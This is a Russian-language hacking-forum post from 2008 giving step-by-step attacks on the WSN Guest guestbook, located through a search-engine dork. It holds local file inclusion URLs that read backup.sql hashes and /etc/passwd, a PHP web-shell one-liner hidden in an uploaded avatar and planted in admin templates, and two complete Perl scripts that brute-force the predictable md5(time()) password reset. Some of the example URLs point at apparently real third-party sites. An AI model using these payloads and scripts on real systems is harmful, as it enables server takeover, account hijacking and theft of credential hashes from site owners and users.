ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Взлом WSN Guest <=1.20
  #1  
Старый 11.06.2008, 23:09
Аватар для otmorozok428
otmorozok428
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме:
557623

Репутация: 415
По умолчанию Взлом WSN Guest <=1.20

Не так давно занимался исследованием гостевухи под названием WSN Guest. Версия, вроде как 1.20 - последняя доступная на сайте производителя. Гуглится она так: "Powered by WSN Guest"

Вот, что мне удалось найти:

1. Локальный инклуд.


Уязвимый код в файле start.php выглядит так:

PHP код:
if ($custom == 'yes'// custom templates
// access with index.php?custom=yes&TID=name&ext=ext
 
if ($ext == ''$ext 'tpl';
 
$thefile $TID .'.'$ext;
 
$thefile $templatesdir .'/' $thefile;
 
$template = new template($thefile);

Юзается это так:

Цитата:
http://www.example.com/index.php?custom=yes&TID=[Имя файла]&ext=[Расширение файла]
Что это может дать?

a) Просмотр файла backup.sql.

Файл backup.sql лежит в папке /admin и содержит резервную копию гостевухи. Соответственно, можно сразу поиметь полный комплект админских-юзерских md5-хешей.
Цитата:
http://www.example.com/index.php?custom=yes&TID=../../admin/backup&ext=sql
Для того, чтобы это работало, админ хотя бы раз должен сделать бэкап базы, по умолчанию файл backup.sql - пуст.

б) Загрузка шелла через аватару.

Сначала создаём аватарку содержащую шелл. Берём любую аватарку, открываем в Far-e в режиме редактирования и добавляем в конец файла что-то вроде
PHP код:
 <? if (isset($_GET['cmd'])){system($_GET['cmd']);} ?>
Сохраняем аватару.
Далее идём на сайт с гостевухой и регистрируем там пользователя. Логинимся под ним и жмём на ссылку [edit your profile]. В пункте "Choose a new avatar" загружаем нашу аватарку, после чего тыкаем кнопку "Edit Profile" (это там вместо сохранения). Чтобы узнать куда и под каким именем загружена наша аватара нужно добавить комментарий к чьему-нибудь сообщению и посмотреть правильное имя аватары. В результате у нас получится что-то подобное:
Цитата:
http://digital-ai.com/guestbook/index.php?custom=yes&TID=../../ce6c4e94383b401afd58e9ca89beb240&ext=jpeg&cmd=ls -al
в) Инклуд чего-нибудь ещё

Например.,
Цитата:
http://www.example.com/index.php?custom=yes&TID=../../../../../../../etc/passwd%00
2. Смена админских-юзерских паролей.

Для восстановления пароля необходимо знать e-mail юзера у которого восстанавливаем пароль. Админ при инсталляции гостевухи создаётся без e-maila, поэтому если позднее почту никто не прописал - сменить админский пасс не получится. Почтовый адрес любого пользователя можно посмотреть по ссылке [View Member List]. Там нужно нажать на имя пользователя. Смена пасса у обычного пользователя может потребоваться для взлома гостевых, где для регистрации пользователя требуется аппрув админа.

Посмотрим, как осуществляется восстановление пароля:

PHP код:
  $ourmember = new member('id'$theirid);
  
$adminaddress $settings->email;
  
$newpassword md5(time());
  
$encoded md5($newpassword);
  
$ourmember->password $encoded;
  
$ourmember->update('email,password');
  
$subject memberreplacements($language->email_passwordresetsubject$ourmember);
  
$message str_replace('{NEWPASSWORD}'$newpassword$language->email_passwordresetbody);
  
$message memberreplacements($message$ourmember);
  
mail("$email""$subject""$message""From: $adminaddress");
  if (!
$template$template = new template("$templatesdir/redirect.tpl");
  
$template->replace('{DESTINATION}''index.php');
  
$template->replace('{MESSAGE}'$language->passwordreset_worked); 
Функция time() подробно описана здесь:

http://us.php.net/manual/ru/function.time.php

Т.е. новый пароль - это текущее время сервера, два раза пошифрованное в md5. Текущее время сервера можно узнать создав сообщение или комментарий. Пароль именяется сразу же и от пользователя не требуется никаких подтверждений. Таким образом, при правильно выставленном временнОм диапазоне на подбор восстановленного пароля уйдёт где-то несколько десятков попыток. Ниже выкладываю два эксплоита: один для восстановления админских паролей, другой - для юзерских.

admin.pl
Код:
#!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);

print "\n*************************************************************************\r\n";
print "|                                                                      |\r\n";
print "|          WSN Guest <=1.22 Admin Pass Quick Recovery exploit          |\r\n";
print "|                                                                      |\r\n";
print "|                             By otmorozok428                          |\r\n";
print "|                                                                      |\r\n";
print "|                    site: http://forum.antichat.ru                    |\r\n";
print "|                                                                      |\r\n";
print "*************************************************************************\r\n\r\n";


#Здесь нужно указать путь к гостевой книге на сервере
$wsn_path = 'http://www.pinkelephants.org.uk/guestbook/';

#Здесь нужно задать ключевое слово, по наличию которого в ответе сервера, мы определяем, что #пароль неверен. По умолчанию - это слово "supply", которое содержится в надписи над 
#формой входа в админку.
$key_word = 'supply';

#Количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 
#GMT) до текущего момента по времени СЕРВЕРА!. Здесь нужно указать время нажатия кнопки 
#восстановления пароля с погрешностью "плюс-минус" 60 секунд.
$begin_range = 1213029991;
$end_range = 1213030010;

$passes_checked = 0;
for ($i = $begin_range; $i<=$end_range; $i++){
    $passes_checked++;
	$password = md5_hex($i);
    $ua = LWP::UserAgent->new;
    my $req = POST $wsn_path.'index.php?action=login&filled=1',[username=>'admin',userpassword=>$password ];
    $str = $ua->request($req)->as_string;
    if (!($str =~ /$key_word/)){
        print "Congratulations! Your pass - ".$password."\n\n";
        print "Passes checked: ".$passes_checked."\n";
        exit();
    }  
}
print "Passes checked: ".$passes_checked.", but pass not found... Possibly, you need to increase your time() range or wrong login name.\n";
Скачать admin.pl

user.pl
Код:
 #!/usr/bin/perl

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);

print "\n*************************************************************************\r\n";
print "|                                                                      |\r\n";
print "|          WSN Guest <=1.22 Admin Pass Quick Recovery exploit          |\r\n";
print "|                                                                      |\r\n";
print "|                             By otmorozok428                          |\r\n";
print "|                                                                      |\r\n";
print "|                    site: http://forum.antichat.ru                    |\r\n";
print "|                                                                      |\r\n";
print "*************************************************************************\r\n\r\n";


#Здесь нужно указать путь к гостевой книге на сервере
$wsn_path = 'http://localhost/wsn/';

#Здесь нужно задать ключевое слово, по наличию которого в ответе сервера, мы определяем, что #пароль неверен. По умолчанию - это слово "supply", которое содержится в надписи над 
#формой входа в админку.
$key_word = 'match';

#Количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 
#GMT) до текущего момента по времени СЕРВЕРА!. Здесь нужно указать время нажатия кнопки 
#восстановления пароля с погрешностью "плюс-минус" 60 секунд.
$begin_range = 1213201857;
$end_range = 1213201893;

$passes_checked = 0;
for ($i = $begin_range; $i<=$end_range; $i++){
    $passes_checked++;
	$password = md5_hex($i);
    $ua = LWP::UserAgent->new;
    my $req = POST $wsn_path.'index.php?action=userlogin&filled=1',[username=>'hi',userpassword=>$password ];
    $str = $ua->request($req)->as_string;
    
#    print $str;
    
    if (!($str =~ /$key_word/)){
        print "Congratulations! Your pass - ".$password."\n\n";
        print "Passes checked: ".$passes_checked."\n";
        exit();
    }  
}
print "Passes checked: ".$passes_checked.", but pass not found... Possibly, you need to increase your time() range or wrong login name.\n";
Скачать user.pl

3. Заливка шелла через админку

Логинимся под админом. Идем на вкладку [Manage Templates], там выбираем любой шаблон, например, Header или Footer, вставляем в текст шаблона наш код:
PHP код:
<?if (isset($_GET['cmd'])){system($_GET['cmd']);}?>
Жмём кнопку "Submit Changes".

Последний раз редактировалось otmorozok428; 12.06.2008 в 00:17..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом LiTO.ru ZaCo Авторские статьи 5 16.10.2005 23:29



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ